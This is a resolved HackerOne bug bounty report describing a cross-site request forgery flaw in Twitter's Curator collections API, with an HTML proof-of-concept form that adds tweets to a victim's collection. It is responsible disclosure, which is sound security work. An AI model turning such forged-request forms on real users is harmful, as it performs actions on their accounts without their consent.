Add tweet to collection CSRF
Unknown
Vulnerability Details
Hi Team,
I have found a CSRF vulnerability which force victim to add tweets in his collection.
HTML POC :
<html>
<body>
<form action="https://curator.twitter.com/api/collections/STREAM/content" method="POST">
<input type="hidden" name="tweet_ids[]" value="667977435124658176">
<input type="hidden" name="collections[]" value="667916850294951936">
<input type="hidden" name="model[id]" value="STREAM">
<input type=submit>
</body>
</html>
Before using this POC change the Collection ID to your collection ID and you will see that tweet will be added into your collection.You can Also add so many tweets in one request by adding "tweet_ids" parameter multiple times.
Let me know if you need any other help from my side.
Best Regards !
Vijay Kumar
Actions
View on HackerOneReport Stats
- Report ID: 100820
- State: Closed
- Substate: resolved
- Upvotes: 11